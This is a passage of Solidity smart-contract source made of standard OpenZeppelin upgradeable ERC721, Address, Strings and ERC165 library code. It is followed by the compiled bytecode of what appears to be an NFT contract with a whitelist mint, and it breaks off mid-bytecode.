@dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x60806040526004361061021a5760003560e01c806370a0823111610123578063c1f26123116100ab578063e985e9c51161006f578063e985e9c514610626578063f2fde38b14610646578063f41859c514610666578063fdea057114610686578063fe5a5377146106a65761021a565b8063c1f2612314610593578063c47f0027146105b3578063c76df80e146105d3578063c87b56dd146105e6578063cba00f02146106065761021a565b806395d89b41116100f257806395d89b41146104fe578063a22cb46514610513578063ae876f6114610533578063b84c824614610553578063b88d4fde146105735761021a565b806370a0823114610494578063715018a6146104b45780637cb64759146104c95780638da5cb5b146104e95761021a565b80633d0950a8116101a65780634f6ccce7116101755780634f6ccce7146103e757806355f804b3146104075780636352211e1461042757806363a846f81461044757806363d754f3146104675761021a565b80633d0950a81461035b57806342842e0e1461037b578063433a67281461039b5780634d21e019146103bb5761021a565b806318160ddd116101ed57806318160ddd146102c65780631a3ff970146102e857806323b872dd146102fb5780632f745c591461031b5780633549345e1461033b5761021a565b806301ffc9a71461021f57806306fdde0314610255578063081812fc14610277578063095ea7b3146102a4575b600080fd5b34801561022b57600080fd5b5061023f61023a366004612e94565b6106c6565b60405161024c91906133ce565b60405180910390f35b34801561026157600080fd5b5061026a6106f3565b60405161024c91906133d9565b34801561028357600080fd5b50610297610292366004612e7c565b610785565b60405161024c91906132ec565b3480156102b057600080fd5b506102c46102bf366004612d9e565b6107d1565b005b3480156102d257600080fd5b506102db610869565b60405161024c9190613b79565b6102c46102f6366004612f2a565b61086f565b34801561030757600080fd5b506102c4610316366004612cb0565b610a15565b34801561032757600080fd5b506102db610336366004612d9e565b610a4d565b34801561034757600080fd5b506102c4610356366004612e7c565b610a9f565b34801561036757600080fd5b506102c4610376366004612dc9565b610b15565b34801561038757600080fd5b506102c4610396366004612cb0565b610bcf565b3480156103a757600080fd5b506102c46103b6366004613021565b610bea565b3480156103c757600080fd5b506103d061118f565b60405161024c9b9a9998979695949392919061333d565b3480156103f357600080fd5b506102db610402366004612e7c565b611293565b34801561041357600080fd5b506102c4610422366004612ecc565b6112ee565b34801561043357600080fd5b50610297610442366004612e7c565b611371565b34801561045357600080fd5b5061023f610462366004612c5c565b6113a6565b34801561047357600080fd5b50610487610482366004612c5c565b6113bc565b60405161024c9190613b82565b3480156104a057600080fd5b506102db6104af366004612c5c565b6113d5565b3480156104c057600080fd5b506102c4611419565b3480156104d557600080fd5b506102c46104e4366004612e7c565b611464565b3480156104f557600080fd5b506102976114f0565b34801561050a57600080fd5b5061026a6114ff565b34801561051f57600080fd5b506102c461052e366004612d6d565b61150e565b34801561053f57600080fd5b506102c461054e366004612dc9565b6115dc565b34801561055f57600080fd5b506102c461056e366004612ecc565b611692565b34801561057f57600080fd5b506102c461058e366004612cf0565b611715565b34801561059f57600080fd5b506102c46105ae366004612e7c565b611754565b3480156105bf57600080fd5b506102c46105ce366004612ecc565b6117f9565b6102c46105e136600461311c565b61187c565b3480156105f257600080fd5b5061026a610601366004612e7c565b61191d565b34801561061257600080fd5b506102c4610621366004612fce565b611976565b34801561063257600080fd5b5061023f610641366004612c78565b611a53565b34801561065257600080fd5b506102c4610661366004612c5c565b611a81565b34801561067257600080fd5b506102c4610681366004612fb4565b611aef565b34801561069257600080fd5b506104876106a1366004612c5c565b611b56565b3480156106b257600080fd5b5061023f6106c1366004612e7c565b611b6f565b60006001600160e01b0319821663780e9d6360e01b14806106eb57506106eb82611b85565b90505b919050565b606060fc805461070290613ca4565b80601f016020809104026020016040519081016040528092919081815260200182805461072e90613ca4565b801561077b5780601f106107505761010080835404028352916020019161077b565b820191906000526020600020905b81548152906001019060200180831161075e57829003601f168201915b5050505050905090565b600061079082611bc5565b6107b55760405162461bcd60e51b81526004016107ac9061386f565b60405180910390fd5b506000908152606960205260409020546001600160a01b031690565b60006107dc82611371565b9050806001600160a01b0316836001600160a01b031614156108105760405162461bcd60e51b81526004016107ac90613a42565b806001600160a01b0316610822611be2565b6001600160a01b0316148061083e575061083e81610641611be2565b61085a5760405162461bcd60e51b81526004016107ac90613686565b6108648383611be6565b505050565b60995490565b60fe5442600160401b90910463ffffffff161061089e5760405162461bcd60e51b81526004016107ac906135f5565b610104544263ffffffff90911610156108c95760405162461bcd60e51b81526004016107ac90613a19565b6000838152610105602052604090205460ff166108f85760405162461bcd60e51b81526004016107ac90613622565b600085338660405160200161090f939291906132c4565b604051602081830303815290604052805190602001209050610967838380806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250889250859150611c549050565b6109835760405162461bcd60e51b81526004016107ac90613b50565b336000908152610102602052604090205463ffffffff1685116109b85760405162461bcd60e51b81526004016107ac90613b20565b336000908152610102602052604081208054600192906109df90849063ffffffff16613be1565b92506101000a81548163ffffffff021916908363ffffffff160217905550610a0d6001600061010654611d0f565b505050505050565b610a26610a20611be2565b82611fed565b610a425760405162461bcd60e51b81526004016107ac90613a83565b610864838383612072565b6000610a58836113d5565b8210610a765760405162461bcd60e51b81526004016107ac906133ec565b506001600160a01b03919091166000908152609760209081526040808320938352929052205490565b610aa7611be2565b6001600160a01b0316610ab86114f0565b6001600160a01b03161480610af357506101036000610ad5611be2565b6001600160a01b0316815260208101919091526040016000205460ff165b610b0f5760405162461bcd60e51b81526004016107ac906137eb565b61010655565b610b1d611be2565b6001600160a01b0316610b2e6114f0565b6001600160a01b031614610b545760405162461bcd60e51b81526004016107ac906138ea565b60005b8151811015610bcb5760016101036000848481518110610b8757634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610bc381613cdf565b915050610b57565b5050565b61086483838360405180602001604052806000815250611715565b600054610100900460ff1680610c03575060005460ff16155b610c1f5760405162461bcd60e51b81526004016107ac90613776565b600054610100900460ff16158015610c4a576000805460ff1961ff0019909116610100171660011790555b604051806080016040528060428152602001613d7c604291398051610c779160fb91602090910190612b4c565b50604080518082019091526016808252752130b13c90283934b731b2b9b99020b8329021b63ab160511b6020909201918252610cb59160fc91612b4c565b50604080518082019091526004808252634250414360e01b6020909201918252610ce19160fd91612b4c565b50610e0060fc8054610cf290613ca4565b80601f0160208091040260200160405190810160405280929190818152602001828054610d1e90613ca4565b8015610d6b5780601f10610d4057610100808354040283529160200191610d6b565b820191906000526020600020905b815481529060010190602001808311610d4e57829003601f168201915b505050505060fd8054610d7d90613ca4565b80601f0160208091040260200160405190810160405280929190818152602001828054610da990613ca4565b8015610df65780601f10610dcb57610100808354040283529160200191610df6565b820191906000526020600020905b815481529060010190602001808311610dd957829003601f168201915b505050505061219f565b610e0861222f565b610e106122bb565b8b60fe60006101000a81548163ffffffff021916908363ffffffff1602179055508a60fe60046101000a81548163ffffffff021916908363ffffffff1602179055508960fe60086101000a81548163ffffffff021916908363ffffffff1602179055508861010460006101000a81548163ffffffff021916908363ffffffff1602179055508760fe600c6101000a81548163ffffffff021916908363ffffffff1602179055508660fe60106101000a81548163ffffffff021916908363ffffffff16021790555060005b85811015611130576000878783818110610f0457634e487b7160e01b600052603260045260246000fd5b610f1a9260206040909202019081019150612c5c565b6001600160a01b031614610fed576000878783818110610f4a57634e487b7160e01b600052603260045260246000fd5b610f609260206040909202019081019150612c5c565b6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610f9857600080fd5b505afa158015610fac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd09190612f12565b11610fed5760405162461bcd60e51b81526004016107ac906138bb565b6000604051806060016040528089898581811061101a57634e487b7160e01b600052603260045260246000fd5b6110309260206040909202019081019150612c5c565b6001600160a01b0316815260200189898581811061105e57634e487b7160e01b600052603260045260246000fd5b6040908102929092016020908101358452600093810184905260ff8054600181018255945284517fe08ec2af2cfc251225e1968fd6ca21e4044f129bffa95bac3503be8bdb30a367600390950294850180546001600160a01b0319166001600160a01b039092169190911790558401517fe08ec2af2cfc251225e1968fd6ca21e4044f129bffa95bac3503be8bdb30a3688401555091909101517fe08ec2af2cfc251225e1968fd6ca21e4044f129bffa95bac3503be8bdb30a36990910155508061112881613cdf565b915050610eda565b50600084815261010560205260409020805460ff1916600117905561010080546001600160a01b0385166001600160a01b03199091161790556101068290558015611181576000805461ff00191690555b505050505050505050505050565b600060606000806000806000806000606060006111aa6114f0565b9a506111b46106f3565b60fe546101045460ff805460408051602080840282018101909252828152959f5063ffffffff8086169f50640100000000860481169e50600160401b860481169d509384169b50600160601b850484169a50600160801b850484169950600160a01b90940490921696509160009084015b8282101561127a576000848152602090819020604080516060810182526003860290920180546001600160a01b0316835260018082015484860152600290910154918301919091529083529092019101611225565b505050509150610106549050909192939495969798999a565b600061129d610869565b82106112bb5760405162461bcd60e51b81526004016107ac90613ad4565b609982815481106112dc57634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b6112f6611be2565b6001600160a01b03166113076114f0565b6001600160a01b0316148061134257506101036000611324611be2565b6001600160a01b0316815260208101919091526040016000205460ff165b61135e5760405162461bcd60e51b81526004016107ac906137eb565b8051610bcb9060fb906020840190612b4c565b6000818152606760205260408120546001600160a01b0316806106eb5760405162461bcd60e51b81526004016107ac9061372d565b6101036020526000908152604090205460ff1681565b6101026020526000908152604090205463ffffffff1681565b60006001600160a01b0382166113fd5760405162461bcd60e51b81526004016107ac906136e3565b506001600160a01b031660009081526068602052604090205490565b611421611be2565b6001600160a01b03166114326114f0565b6001600160a01b0316146114585760405162461bcd60e51b81526004016107ac906138ea565b611462600061232b565b565b61146c611be2565b6001600160a01b031661147d6114f0565b6001600160a01b031614806114b85750610103600061149a611be2565b6001600160a01b0316815260208101919091526040016000205460ff165b6114d45760405162461bcd60e51b81526004016107ac906137eb565b600090815261010560205260409020805460ff19166001179055565b60c9546001600160a01b031690565b606060fd805461070290613ca4565b611516611be2565b6001600160a01b0316826001600160a01b031614156115475760405162461bcd60e51b81526004016107ac9061354a565b80606a6000611554611be2565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff191692151592909217909155611598611be2565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516115d091906133ce565b60405180910390a35050565b6115e4611be2565b6001600160a01b03166115f56114f0565b6001600160a01b03161461161b5760405162461bcd60e51b81526004016107ac906138ea565b60005b8151811015610bcb576000610103600084848151811061164e57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061168a81613cdf565b91505061161e565b61169a611be2565b6001600160a01b03166116ab6114f0565b6001600160a01b031614806116e6575061010360006116c8611be2565b6001600160a01b0316815260208101919091526040016000205460ff165b6117025760405162461bcd60e51b81526004016107ac906137eb565b8051610bcb9060fd906020840190612b4c565b611726611720611be2565b83611fed565b6117425760405162461bcd60e51b81526004016107ac90613a83565b61174e8484848461237d565b50505050565b61175c611be2565b6001600160a01b031661176d6114f0565b6001600160a01b031614806117a85750610103600061178a611be2565b6001600160a01b0316815260208101919091526040016000205460ff165b6117c45760405162461bcd60e51b81526004016107ac906137eb565b60005b81811015610bcb576117e76117da611be2565b6117e2610869565b6123b0565b806117f181613cdf565b9150506117c7565b611801611be2565b6001600160a01b03166118126114f0565b6001600160a01b0316148061184d5750610103600061182f611be2565b6001600160a01b0316815260208101919091526040016000205460ff165b6118695760405162461bcd60e51b81526004016107ac906137eb565b8051610bcb9060fc906020840190612b4c565b60fe5442600160601b90910463ffffffff16106118ab5760405162461bcd60e51b81526004016107ac9061364f565b60fe5442600160801b90910463ffffffff1610156118db5760405162461bcd60e51b81526004016107ac906139ee565b61191a81600160ff60008154811061190357634e487b7160e01b600052603260045260246000fd5b906000526020600020906003020160010154611d0f565b50565b606061192882611bc5565b6119445760405162461bcd60e51b81526004016107ac9061399f565b60fb61194f836123ca565b60405160200161196092919061320e565b6040516020818303038152906040529050919050565b61197e611be2565b6001600160a01b031661198f6114f0565b6001600160a01b031614806119ca575061010360006119ac611be2565b6001600160a01b0316815260208101919091526040016000205460ff165b6119e65760405162461bcd60e51b81526004016107ac906137eb565b60fe8054610104805463ffffffff191663ffffffff9687161790556bffffffff00000000000000001916600160401b958516959095029490941763ffffffff60601b1916600160601b928416929092029190911763ffffffff60801b1916600160801b9190921602179055565b6001600160a01b039182166000908152606a6020908152604080832093909416825291909152205460ff1690565b611a89611be2565b6001600160a01b0316611a9a6114f0565b6001600160a01b031614611ac05760405162461bcd60e51b81526004016107ac906138ea565b6001600160a01b038116611ae65760405162461bcd60e51b81526004016107ac90613489565b61191a8161232b565b611af7611be2565b6001600160a01b0316611b086114f0565b6001600160a01b031614611b2e5760405162461bcd60e51b81526004016107ac906138ea565b60fe805463ffffffff9092166401000000000267ffffffff0000000019909216919091179055565b6101016020526000908152604090205463ffffffff1681565b6101056020526000908152604090205460ff1681565b60006001600160e01b031982166380ac58cd60e01b1480611bb657506001600160e01b03198216635b5e139f60e01b145b806106eb57506106eb826124e5565b6000908152606760205260409020546001600160a01b0316151590565b3390565b600081815260696020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611c1b82611371565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600081815b8551811015611d04576000868281518110611c8457634e487b7160e01b600052603260045260246000fd5b60200260200101519050808311611cc5578281604051602001611ca8929190613200565b604051602081830303815290604052805190602001209250611cf1565b8083604051602001611cd8929190613200565b6040516020818303038152906040528051906020012092505b5080611cfc81613cdf565b915050611c59565b509092149392505050565b323314611d2e5760405162461bcd60e51b81526004016107ac906137c4565b336000908152610101602052604090205463ffffffff168215611d855760fe5463ffffffff16611d6160ff861683613be1565b63ffffffff161115611d855760405162461bcd60e51b81526004016107ac90613968565b60fe5463ffffffff64010000000082048116600160a01b9092041610611dbd5760405162461bcd60e51b81526004016107ac9061384a565b60fe54849063ffffffff6401000000008204811691611de89160ff851691600160a01b900416613be1565b63ffffffff161115611e1b5760fe54611e189063ffffffff600160a01b8204811691640100000000900416613c53565b90505b82611e298160ff84166124fe565b905080341015611e4b5760405162461bcd60e51b81526004016107ac90613581565b6000611e578234613c3c565b90508260ff168760ff16118015611e6e5750600081115b15611eb9576000611e7d611be2565b6040519091506001600160a01b0382169083156108fc029084906000818181858888f19350505050158015611eb6573d6000803e3d6000fd5b50505b610100546040516001600160a01b039091169083156108fc029084906000818181858888f19350505050158015611ef4573d6000803e3d6000fd5b508160ff600081548110611f1857634e487b7160e01b600052603260045260246000fd5b90600052602060002090600302016002016000828254611f389190613bc9565b909155506000925050505b8160ff16811015611f6b57611f596117da611be2565b80611f6381613cdf565b915050611f43565b508315611fa857611f7f60ff821683613be1565b33600090815261010160205260409020805463ffffffff191663ffffffff929092169190911790555b60fe54611fc69060ff831690600160a01b900463ffffffff16613be1565b60fe60146101000a81548163ffffffff021916908363ffffffff1602179055505050505050565b6000611ff882611bc5565b6120145760405162461bcd60e51b81526004016107ac906135a9565b600061201f83611371565b9050806001600160a01b0316846001600160a01b0316148061205a5750836001600160a01b031661204f84610785565b6001600160a01b0316145b8061206a575061206a8185611a53565b949350505050565b826001600160a01b031661208582611371565b6001600160a01b0316146120ab5760405162461bcd60e51b81526004016107ac9061391f565b6001600160a01b0382166120d15760405162461bcd60e51b81526004016107ac90613506565b6120dc838383612511565b6120e7600082611be6565b6001600160a01b0383166000908152606860205260408120805460019290612110908490613c3c565b90915550506001600160a01b038216600090815260686020526040812080546001929061213e908490613bc9565b909155505060008181526067602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600054610100900460ff16806121b8575060005460ff16155b6121d45760405162461bcd60e51b81526004016107ac90613776565b600054610100900460ff161580156121ff576000805460ff1961ff0019909116610100171660011790555b61220761259a565b61220f61259a565b612219838361260d565b8015610864576000805461ff0019169055505050565b600054610100900460ff1680612248575060005460ff16155b6122645760405162461bcd60e51b81526004016107ac90613776565b600054610100900460ff1615801561228f576000805460ff1961ff0019909116610100171660011790555b61229761259a565b61229f61259a565b6122a761259a565b801561191a576000805461ff001916905550565b600054610100900460ff16806122d4575060005460ff16155b6122f05760405162461bcd60e51b81526004016107ac90613776565b600054610100900460ff1615801561231b576000805460ff1961ff0019909116610100171660011790555b61232361259a565b6122a76126ab565b60c980546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b612388848484612072565b6123948484848461271b565b61174e5760405162461bcd60e51b81526004016107ac90613437565b610bcb828260405180602001604052806000815250612836565b6060816123ef57506040805180820190915260018152600360fc1b60208201526106ee565b8160005b8115612419578061240381613cdf565b91506124129050600a83613c09565b91506123f3565b60008167ffffffffffffffff81111561244257634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561246c576020820181803683370190505b5090505b841561206a57612481600183613c3c565b915061248e600a86613cfa565b612499906030613bc9565b60f81b8183815181106124bc57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053506124de600a86613c09565b9450612470565b6001600160e01b031981166301ffc9a760e01b14919050565b600061250a8284613c1d565b9392505050565b61251c838383610864565b6001600160a01b0383166125385761253381612869565b61255b565b816001600160a01b0316836001600160a01b03161461255b5761255b83826128ad565b6001600160a01b038216612577576125728161294a565b610864565b826001600160a01b0316826001600160a01b031614610864576108648282612a23565b600054610100900460ff16806125b3575060005460ff16155b6125cf5760405162461bcd60e51b81526004016107ac90613776565b600054610100900460ff161580156122a7576000805460ff1961ff001990911661010017166001179055801561191a576000805461ff001916905550565b600054610100900460ff1680612626575060005460ff16155b6126425760405162461bcd60e51b81526004016107ac90613776565b600054610100900460ff1615801561266d576000805460ff1961ff0019909116610100171660011790555b8251612680906065906020860190612b4c565b508151612694906066906020850190612b4c565b508015610864576000805461ff0019169055505050565b600054610100900460ff16806126c4575060005460ff16155b6126e05760405162461bcd60e51b81526004016107ac90613776565b600054610100900460ff1615801561270b576000805460ff1961ff0019909116610100171660011790555b6122a7612716611be2565b61232b565b600061272f846001600160a01b0316612a67565b1561282b57836001600160a01b031663150b7a0261274b611be2565b8786866040518563ffffffff1660e01b815260040161276d9493929190613300565b602060405180830381600087803b15801561278757600080fd5b505af19250505080156127b7575060408051601f3d908101601f191682019092526127b491810190612eb0565b60015b612811573d8080156127e5576040519150601f19603f3d011682016040523d82523d6000602084013e6127ea565b606091505b5080516128095760405162461bcd60e51b81526004016107ac90613437565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061206a565b506001949350505050565b6128408383612a6d565b61284d600084848461271b565b6108645760405162461bcd60e51b81526004016107ac90613437565b609980546000838152609a60205260408120829055600182018355919091527f72a152ddfb8e864297c917af52ea6c1c68aead0fee1a62673fcc7e0c94979d000155565b600060016128ba846113d5565b6128c49190613c3c565b600083815260986020526040902054909150808214612917576001600160a01b03841660009081526097602090815260408083208584528252808320548484528184208190558352609890915290208190555b5060009182526098602090815260408084208490556001600160a01b039094168352609781528383209183525290812055565b60995460009061295c90600190613c3c565b6000838152609a60205260408120546099805493945090928490811061299257634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905080609983815481106129c157634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255828152609a90915260408082208490558582528120556099805480612a0757634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b6000612a2e836113d5565b6001600160a01b039093166000908152609760209081526040808320868452825280832085905593825260989052919091209190915550565b3b151590565b6001600160a01b038216612a935760405162461bcd60e51b81526004016107ac90613815565b612a9c81611bc5565b15612ab95760405162461bcd60e51b81526004016107ac906134cf565b612ac560008383612511565b6001600160a01b0382166000908152606860205260408120805460019290612aee908490613bc9565b909155505060008181526067602052604080822080546001600160a01b03191660016001